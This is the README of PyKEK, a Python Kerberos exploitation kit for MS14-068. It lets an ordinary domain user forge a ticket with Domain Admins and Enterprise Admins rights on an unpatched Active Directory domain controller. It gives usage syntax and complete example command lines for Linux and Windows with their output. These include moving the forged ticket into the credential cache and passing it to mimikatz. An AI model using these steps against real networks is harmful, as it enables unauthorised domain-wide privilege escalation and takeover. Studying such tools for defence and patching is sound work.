pykek-ms14-068.zip

Python Kerberos Exploitation Kit === PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development) For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit MS14-068 (CVE-2014-6324) . More is coming... # Author Sylvain Monné Contact : sylvain dot monne at solucom dot fr http://twitter.com/bidord Special thanks to: Benjamin DELPY `gentilkiwi` # Library content * kek.krb5: Kerberos V5 ([RFC 4120](https://tools.ietf.org/html/rfc4120)) ASN.1 structures and basic protocol functions * kek.ccache: Credential Cache Binary Format ([cchache](http://www.gnu.org/software/shishi/manual/html_node/The-Credential-Cache-Binary-File-Format.html)) * kek.pac: Microsoft Privilege Attribute Certificate Data Structure ([MS-PAC](http://msdn.microsoft.com/en-us/library/cc237917.aspx)) * kek.crypto: Kerberos and MS specific cryptographic functions # Exploits ## ms14-068.py Exploits [MS14-680](https://technet.microsoft.com/en-us/library/security/ms14-068.aspx) vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups : - Domain Users (513) - Domain Admins (512) - Schema Admins (518) - Enterprise Admins (519) - Group Policy Creator Owners (520) ### Usage : ``` USAGE: ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> OPTIONS: -p <clearPassword> --rc4 <ntlmHash> ``` ### Example usage : #### Linux (tested with samba and MIT Kerberos) ``` root@kali:~/sploit/pykek# python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc Password: [+] Building AS-REQ for dc-a-2003.dom-a.loc... Done! [+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done! [+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done! [+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done! [+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done! [+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done! [+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done! [+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done! [+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done! root@kali:~/sploit/pykek# mv TGT_user-a-1@dom-a.loc.ccache /tmp/krb5cc_0 ``` #### On Windows ``` python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit` ```